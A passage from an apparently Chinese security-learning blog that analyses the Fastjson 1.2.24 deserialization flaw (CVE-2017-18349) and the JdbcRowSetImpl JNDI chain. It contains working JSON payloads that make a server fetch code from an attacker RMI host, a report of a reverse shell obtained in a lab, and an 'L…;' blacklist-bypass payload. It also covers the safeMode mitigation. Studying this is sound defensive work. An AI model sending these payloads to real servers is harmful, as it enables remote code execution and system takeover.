【注意】由于 fastjson 在 1.2.24 版本(最开始存在反序列化漏洞的版本)之后默认禁用 AutoType,因此这里我们通过 ParserConfig.getGlobalInstance().addAccept("com.tr0e.sec.Entity");
来手动开启白名单,否则会报错 “autoType is not support”。
【反序列化过程】
为了从 Fastjson 最初的漏洞版本 1.2.24 开始讨论,修改 Fastjson 版本:
<dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.24</version>
</dependency>
修改下 JavaBean,增加日志打印:
package com.tr0e.sec.Entity;public class Person {public String name;public int age;public Person(){}public Person(int age, String name) {System.out.println("调用了构造函数");this.age = age;this.name = name;}public String getName() {System.out.println("getName");return name;}public void setName(String name) {System.out.println("setName");this.name = name;}public int getAge() {System.out.println("getAge");return age;}public void setAge(int age) {System.out.println("setAge");this.age = age;}
}
进行反序列化调用:
System.out.println("-------------反序列化-------------");
String JSON_Serialize3 = "{\"@type\":\"com.tr0e.sec.Entity.Person\",\"age\":18,\"name\":\"Tr0e\"}";
System.out.println(JSON.parseObject(JSON_Serialize3));
输出结果如下所示:
可以看到 Fastjson 反序列化过程中,会调用 JavaBean 的 setter 和 getter 方法。
【反序列化漏洞】
回顾下 阿里巴巴官方文档 解释 AutoType:Fastjson 支持 AutoType 功能,这个功能会在序列化的 JSON 字符串中带上类型信息,在反序列化时,不需要传入类型,实现自动类型识别。
前面的学习示例已经演示了 AutoType 功能。小结一下:有了 AutoType 功能,那么 Fastjson 在对 JSON 字符串进行反序列化的时候,就会读取@type
到内容,试图把 JSON 内容反序列化成这个对象,并且会调用这个类的 setter 方法。那么利用 AutoType 这个特性,可不可以自己构造一个 JSON 字符串,并且使用@type
指定一个自己想要使用的攻击类库?答案是肯定的。
举个例子,攻击者比较常用的攻击类库是com.sun.rowset.JdbcRowSetImpl
,这是 sun 官方提供的一个类库,这个类的 dataSourceName 支持传入一个 rmi 的源,当解析这个 uri 的时候,就会支持 RMI 远程调用,去指定的 RMI 地址中去调用方法。而 Fastjson 在反序列化时会调用目标类的 setter 方法,那么如果黑客在 dbcRowSetImpl 的 dataSourceName 中设置了一个想要执行的命令,那么就会导致存在远程命令执行的风险。
比如通过以下方式定义一个 JSON 串,即可实现远程命令执行(新版本中 JdbcRowSetImpl 已经被加了黑名单):
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
这就是所谓的 Fastjson 反序列化漏洞造成远程命令执行的基本原理,下面通过实际的靶场案例来进一步分析。
漏洞靶场
https://github.com/j3ers3/Hello-Java-Sec/blob/master/src/main/java/com/best/hello/controller/ComponentsVul/FastjsonVul.java
/** Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象* Github:https://github.com/alibaba/fastjson/wiki/Quick-Start-CN**/
@Api("Fastjson反序列化漏洞")
@Slf4j
@RestController
@RequestMapping("/Fastjson")
public class FastjsonVul {@RequestMapping(value = "/vul", method = {RequestMethod.POST})public String vul(@RequestBody String content) {try {// 转换成objectJSONObject jsonToObject = JSON.parseObject(content);log.info("[vul] Fastjson");return jsonToObject.get("name").toString();} catch (Exception e) {return e.toString();}}
}
此靶场的 Fastjson 版本:
<!-- Fastjson 1.2.24存在rce漏洞 -->
<dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.41</version>
</dependency>
一键搭建 RMI 与 ldap 服务,远程调用成功:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://1xx.xx.xx.227:1099/roakzi","autoCommit":true,"age":19,"id":2,"name":"test"
}
成功反弹 Shell:
【JdbcRowSetImpl 利用链分析】
根据 FastJson 反序列化漏洞原理,FastJson 将 JSON 字符串反序列化到指定的 Java 类时,会调用目标类的 getter、setter 等方法。JdbcRowSetImpl 利用链的核心问题出在JdbcRowSetImpl#setDataSourceName
和JdbcRowSetImpl#setAutoCommit
方法中存在可控的参数。
其中setDataSourceName(
)方法会设置 dataSource 的值:
而setAutoCommit()
会调用 connect() 方法,connect() 函数如下:
关注上面 325-326 行,熟悉的 JNDI 注入代码特征,这也解释了《Java反序列化漏洞与URLDNS利用链分析》开篇提到的疑惑,即为什么 Fastjson 反序列化漏洞利用过程采用的是 JNDI 注入。
可以通过一个简单的代码示例进一步验证下:
public static void main(String[] args) throws Exception {JdbcRowSetImpl JdbcRowSetImpl_inc = new JdbcRowSetImpl();JdbcRowSetImpl_inc.setDataSourceName("rmi://127.0.0.1:1099/viwnim");JdbcRowSetImpl_inc.setAutoCommit(true);}
【More】Fastjson 漏洞的另外一条利用链路—— Templateslmpl 利用链的原理和使用方法可以参见:《完全零基础入门Fastjson系列漏洞(基础篇)》、《Java 反序列化漏洞原理(三)fastjson 1.2.24 Templateslmpl 利用原理》。
检测工具
同样可以使用 BurpSuite 多漏洞集成探测插件:Tsojan/TsojanScan。
补丁绕过
Fastjson 1.2.24 被爆出反序列化漏洞(CVE-2017-18349)之后,由于 Fastjson 被广泛运用在 Java 项目之中,受到漏洞研究人员和黑客的广泛关注,于是 Alibaba 团队发布的几个版本的补丁,陆续被业界给 Bypass 掉了,下面简单了解介绍一下这场 “战争”。
【1.2.25 -1.2.41 版本绕过】
在 1.2.24 版本会直接加载 @type 指向的类,而 1.2.25 版本增加了对类的 checkAutoType() 检查,会对要加载的类进行白名单和黑名单限制,并且引入了一个配置参数 AutoTypeSupport。
Fastjson 默认 AutoTypeSupport 为False(默认开启白名单机制),需要通过服务端使用以下代码手动关闭,这一点是高版本一个难以绕过的地方。
// 全局开启AutoType,不建议使用
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
// 建议使用这种方式,小范围指定白名单
ParserConfig.getGlobalInstance().addAccept("xxx.xxx.");
可以看到在开启白名单的条件下无法加载到我们的利用类:
这里我们修改autoTypeSupport=true
,跟进TypeUtils#loadClass
看一下:
- 如果以
[
开头则去掉[后进行类加载(在之前 Fastjson 已经判断过是否为数组了,实际走不到这一步); - 如果以
L
开头,以;
结尾,则去掉开头和结尾进行类加载;
那么加上L
开头和;
结尾实际上就可以绕过所有黑名单。Payload 如下:
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://1xx.xx.xx.227:1099/roakzi","autoCommit":true
}
AutoType 安全模式
Fastjson 漏洞的利用几乎都是围绕 AutoType 来的,于是在 v1.2.68 版本中,Fastjson 引入了 safeMode 属性,配置 safeMode 后,无论白名单和黑名单,都不支持 autoType,设置了 safeMode 后,@type
字段不再生效,即当解析形如{"@type":"com.java.class"}
的 JSON 串时,将不再反序列化出对应的类,可一定程度上缓解反序列化类变种攻击。
ParserConfig.getGlobalInstance().setSafeMode(true);
【More】Fastjson 被 Bypass 的补丁版本还涉及 1.2.42、1.2.43、1.2.44、1.2.45、1.2.47、1.2.48、1.2.68、1.2.80 等,值得另外整体学习,后续会单独学习记录下各个版本的 Bypass 原理和方式,以及 Fastjson 通过 Templateslmpl 利用链远程加载恶意类的字节码完成 RCE 的原理。
总结
本文学习了 JNDI 基本概念和 JNDI 注入的基本原理,并通过靶场实践 JNDI 注入漏洞的利用过程,与此同时学习了 Log4j RCE 漏洞(CVE-2021-44228)和 Fastjson 反序列化漏洞(CVE-2017-18349)的原理,并通过靶场实践借助 JNDI 注入完成 RCE 的过程。
这个过程中也可以看到著名的 Java 第三方组件也可能隐藏着“显而易见”的致命漏洞(相信 Log4j 能够“潜伏”那么多年估计也是诸多 Java 安全研究员始料未及的),在具备扎实的基本功和熟练了解相关组件特性的情况下,或许挖洞者跟漏洞之间的距离就差一颗敢于质疑、敢于挑战的心?
本文参考文章如下:
- JNDI注入详解 - FreeBuf;
- JNDI注入利用原理及绕过高版本JDK限制;
- Apache Log4j2 漏洞分析 | Gta1ta’s Blog;
- Apache Log4j2 Jndi RCE 高危漏洞分析与防御;
- Java安全:Fastjson反序列化漏洞 - 枫のBlog;
- 强烈推荐:完全零基础入门Fastjson系列漏洞(基础篇);
相关文章:
从Log4j和Fastjson RCE漏洞认识jndi注入
文章目录 前言JNDI注入基础介绍靶场搭建漏洞验证注入工具 log4j RCE漏洞分析漏洞靶场检测工具补丁绕过 Fastjson RCE漏洞分析漏洞靶场检测工具补丁绕过 总结 前言 接着前文的学习《Java反序列化漏洞与URLDNS利用链分析》,想了解为什么 Fastjson 反序列化漏洞的利用…...
7-25 数字三角形问题
7-25 数字三角形问题 分数 10 全屏浏览 作者 夏仁强 单位 贵州工程应用技术学院 给定一个由n行数字组成的数字三角形如下图所示。试设计一个算法,计算出从三角形的顶至底的一条路径,使该路径经过的数字总和最大。 对于给定的由n行数字组成的数字三角…...
【Kafka专栏 08】ZooKeeper的Watch机制:不就是个“小喇叭”吗?
作者名称:夏之以寒 作者简介:专注于Java和大数据领域,致力于探索技术的边界,分享前沿的实践和洞见 文章专栏:夏之以寒-kafka专栏 专栏介绍:本专栏旨在以浅显易懂的方式介绍Kafka的基本概念、核心组件和使用…...
三极管的厄利效应(early effect)
詹姆斯M厄利(James M. Early)发现的现象,厄利效应(英语:Early effect),又译厄尔利效应,也称基区宽度调制效应,是指当双极性晶体管(BJT)的集电极-射极电压VCE改…...
Maven: 编码GBK的不可映射字符不能编译
使用mvn compile命令,出现错误: 编码GBK的不可映射字符不能编译。这是因为代码或注释中存在中文引起的,一般在ide中会自动处理编译时的字符集,就不会碰到这个错误。这个错误是在生成代码后,其中自动加上了中 文注释,手…...
《web应用技术》第十一次课后作业
1、验证过滤器进行权限验证的原理。 Filter过滤器:javaweb三大组件(Servlet,Filter,Listener)之一;过滤器可以把对资源的请求拦截下来,从而实现一些特殊功能;过滤器一般完成一些通用操作,比如登录校验等。 执行对应的…...
flutter中实现首行缩进两端对齐
刚开始进行搜索,发现很多都是让在每段开始的时候采用空格进行填充,但是采用这种形式之后,不知道为何首行直接溢出了,最后采用下面方法进行实现的。 RichText(text: TextSpan(children: [WidgetSpan(child: Container(width: 20, …...
Vitis HLS 学习笔记--Vitis Accelerated Libraries介绍
目录 1. 简介 2. 库的文件结构 3. 分类介绍 3.1 blas 3.2 codec 3.3 data_analytics 3.4 data_compression 3.5 data_mover 3.6 database 3.7 dsp 3.8 graph 3.9 hpc 3.10 motor_control 3.11 quantitative_finance 3.12 security 3.13 solver 3.14 utils 3…...
Vue3-滑动到最右验证功能
1、思路 1、在登录页面需要启动向右滑块验证 2、效果图 3、文章地址:滑动验证码的实现-vue-simple-verify 2、成分分析 1、由三块构成,分别是底部条、拖动条、拖动移动部分 2、底部条:整体容器,包括背景、边框和文字…...
深入理解MyBatis XML配置文件
MyBatis是一款优秀的持久层框架,简化了数据库操作的复杂性,提高了开发效率。在MyBatis中,XML配置文件扮演了重要角色,用于配置数据源、事务管理、SQL映射等内容。本文将详细介绍MyBatis的XML配置文件,帮助读者更好地理…...
006 CentOS 7.9 elasticsearch7.10.0安装及配置
文章目录 一、安装Elasticsearch 7.10.0二、安装Logstash 7.10.0三、配置防火墙和网络访问可能出现的错误配置 Elasticsearch官方网址: https://www.elastic.co Elasticsearch中文官网地址:https://www.elastic.co/cn/products/elasticsearch https://…...
蚂蚁分类信息系统二开仿么么街货源客模板微商货源网源码(带手机版)
源码介绍 网站采用蚂蚁分类信息系统二次开发,模板仿么么街货源客模板,微商货源网定制版。 模板设计风格简洁,分类信息采用列表形式发布,这种设计方式非常符合度娘 SEO 规则。收录效果是杠杠的。 这个网站风格目前是用来做货源推…...
综合数据分析及可视化实战
【实验目的】 1、掌握数据分析常用的几种扩展库: numpy、pandas、matplotlib。 2、理解数据分析的几种方法,即描述性数据分析,探索性数据分析 和验证性数据分析。 3、理解数据分析的基本步骤:数据准备、数据导入、数据预处理、数 据分析和数据可视化…...
N32G45XVL-STB之移植LVGL(8.4.0)
目录 概述 1 系统软硬件 1.1 软件版本信息 1.2 ST7796-LCD 1.3 MCU IO与LCD PIN对应关系 2 认识LVGL 2.1 LVGL官网 2.2 下载V8.4.0 3 移植LVGL 3.1 硬件驱动实现 3.2 添加LVGL库文件 3.3 移植和硬件相关的代码 3.3.1 驱动接口相关文件介绍 3.3.2 重新接口函数 3…...
SwaggerSpy:一款针对SwaggerHub的自动化OSINT安全工具
关于SwaggerSpy SwaggerSpy是一款针对SwaggerHub的自动化公开资源情报(OSINT)安全工具,该工具专为网络安全研究人员设计,旨在简化广大红队研究人员从SwaggerHub上收集已归档API信息的过程,而这些OSINT信息可以为安全人…...
Python酷库之旅-比翼双飞情侣库(05)
目录 一、xlrd库的由来 二、xlrd库优缺点 1、优点 1-1、支持多种Excel文件格式 1-2、高效性 1-3、开源性 1-4、简单易用 1-5、良好的兼容性 2、缺点 2-1、对.xlsx格式支持有限 2-2、功能相对单一 2-3、更新和维护频率低 2-4、依赖外部资源 三、xlrd库的版本说明 …...
numpy数组transpose方法的基本原理
背景:记录一下numpy数组维度顺序操作 一、具体示例 transpose方法用于交换数组的轴,改变数组的维度顺序。方法的参数是一个代表新轴顺序的元组。 假设你有一个三维数组,其形状是 (a, b, c),即有 a 个块,每个块中有 b…...
Docker Swarm集群部署管理
Docker Swarm集群管理 文章目录 Docker Swarm集群管理资源列表基础环境一、安装Docker二、部署Docker Swarm集群2.1、创建Docker Swarm集群2.2、添加Worker节点到Swarm集群2.3、查看Swarm集群中Node节点的详细状态信息 三、Docker Swarm管理3.1、案例概述3.2、Docker Swarm中的…...
碎片化知识如何被系统性地吸收?
一、方法论 碎片化知识指的是通过各种渠道快速获取的零散信息和知识点,这些信息由于其不完整性和孤立性,不易于记忆和应用。为了系统性地吸收碎片化知识,可以采用以下策略: 1. **构建知识框架**: - 在开始吸收之前&am…...
安鸾学院靶场——安全基础
文章目录 1、Burp抓包2、指纹识别3、压缩包解密4、Nginx整数溢出漏洞5、PHP代码基础6、linux基础命令7、Mysql数据库基础8、目录扫描9、端口扫描10、docker容器基础11、文件类型 1、Burp抓包 抓取http://47.100.220.113:8007/的返回包,可以拿到包含flag的txt文件。…...
ChatGPT:自然语言处理的新纪元与OpenAI的深度融合
随着人工智能技术的蓬勃发展,自然语言处理(NLP)领域取得了显著的进步。OpenAI作为这一领域的领军者,以其卓越的技术实力和创新能力,不断推动着NLP领域向前发展。其中ChatGPT作为OpenAI的重要成果更是在全球范围内引起了…...
AI引领项目管理新时代:效率与智能并驾齐驱
在数字化浪潮的推动下,项目管理领域正迎来一场由AI技术引领的革新。从自动化任务执行到智能决策支持,AI技术的应用正让项目管理变得更加高效、精准和智能化。本文将探讨项目管理人员及其实施团队如何运用AI技术,以及这些技术如何助力项目管理…...
AUTOSAR汽车电子嵌入式编程精讲300篇-电池管理系统中 CAN 通信模块的设计与应用(中)
目录 2.3 BMS 中 CAN 通信模块软硬件设计 2.3.1 CAN 通信模块硬件电路设计 2.3.2 CAN 通信模块软件设计 2.3.2.1 CAN 底层程序设计 2.3.2.2 CAN 底层初始化 2.3.2.3 CAN 底层接收 3.3.1.3 CAN 底层发送 2.4 通信协议的实现 2.4.1 整车通信协议的实现 2.4.2 充电机通信协议的实现…...
k8s概述
文章目录 一、什么是Kubernetes1、官网链接2、概述3、特点4、功能 二、Kubernetes架构1、架构图2、核心组件2.1、控制平面组件(Control Plane Components)2.1.1、kube-apiserver2.1.2、etcd2.1.3、kube-scheduler2.1.4、kube-controller-manager 2.2、No…...
多线程的运用
在现代软件开发中,多线程编程是一个非常重要的技能。多线程编程不仅可以提高应用程序的性能,还可以提升用户体验,特别是在需要处理大量数据或执行复杂计算的情况下。本文将详细介绍Java中的多线程编程,包括其基本概念、实现方法、…...
TF-IDF(Term Frequency-Inverse Document Frequency)算法
TF-IDF(Term Frequency-Inverse Document Frequency)是一种用于文本挖掘和信息检索的统计方法,主要用于评估一个单词在一个文档或一组文档中的重要性。它结合了词频(TF)和逆文档频率(IDF)两个指…...
富格林:细心发现虚假确保安全
富格林指出,现货黄金市场内蕴藏着丰富的盈利机会,然而并非所有人都能够抓住这些机会。要想从市场中获取丰厚的利润并且保障交易的安全,必须要求我们掌握一些交易技巧利用此去发现虚假陷阱。当我们不断汲取技巧过后,才可利用此来发…...
6.2 文件的缓存位置
1. 文件的缓冲 1.1 缓冲说明 将文件内容写入到硬件设备时, 则需要进行系统调用, 这类I/O操作的耗时很长, 为了减少I/O操作的次数, 文件通常使用缓冲区. 当需要写入的字节数不足一个块时, 将数据放入缓冲区, 当数据凑够一个块的大小后才进行系统调用(即I/O操作).系统调用: 向…...
在Elasticsearch中,过滤器(Filter)是用于数据筛选的一种机制
在Elasticsearch中,过滤器(Filter)是用于数据筛选的一种机制,它通常用于结构化数据的精确匹配,如数字范围、日期范围、布尔值、前缀匹配等。过滤器不计算相关性评分,因此比查询(Query࿰…...
MySQL----主键、唯一、普通索引的创建与删除
创建索引 CREATE INDEX index_name ON table_name (column1 [ASC|DESC], column2 [ASC|DESC], ...);CREATE INDEX: 用于创建普通索引的关键字。index_name: 指定要创建的索引的名称。索引名称在表中必须是唯一的。table_name: 指定要在哪个表上创建索引。(column1, column2, ……...
做soho外贸网站/怎样自己做网站
在介绍KDE和Gnome之前,我们有必要先来介绍UNIX/Linux图形环境的概念。对一个习惯Windows的用户来说,要正确理解UNIX/Linux的图形环境可能颇为困难,因为它与纯图形化Windows并没有多少共同点。Linux实际上是以UNIX为模板的,它继承了…...
有哪些做app的网站/武汉网络推广seo
假设有 ABC 三个人通信,则需要事先为三个人分配不同的码片向量,码片向量必须满足: 码片向量的规范化内积为 1不同人之间的码片向量正交 例如: A (1, 1, 1, 1)B (1, 1, -1, -1)C (1, -1, 1, -1) 发送数据时: 将码片…...
网站建设公司怎么做好/推广排名
1.下载第一个阿里云仓库文件wget -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repo-O 参数 ,指定一个下载地址,且改名2.配置第二个仓库文件 epel 额外仓库(redis,nginx,mongo&…...
网站建设和推广评价指标/上海网站seo公司
✨个人主页: Yohifo 🎉所属专栏: Linux学习之旅 🎊每篇一句: 图片来源 🎃操作环境: CentOS 7.6 阿里云远程服务器 Great minds discuss ideas. Average minds discuss events. Small minds disc…...
手把手教做网站/市场调研分析报告怎么写
ClassLoad类加载器读取ClassPath路径下的配置文件并完成创建JDBC链接(二) 一项目描述 1、通过ClassLoad类加载器读取配置文件的方式,实现创建JDBC链接数据库 2、读取配置文件的方法是一个工厂方法,返回一个 Connection类型链接的…...
网站开发技术服务协议/做一套二级域名网站怎么做
点击上方“Java基基”,选择“设为星标”做积极的人,而不是积极废人!源码精品专栏 原创 | Java 2020 超神之路,很肝~中文详细注释的开源项目RPC 框架 Dubbo 源码解析网络应用框架 Netty 源码解析消息中间件 RocketMQ 源码解析数据库…...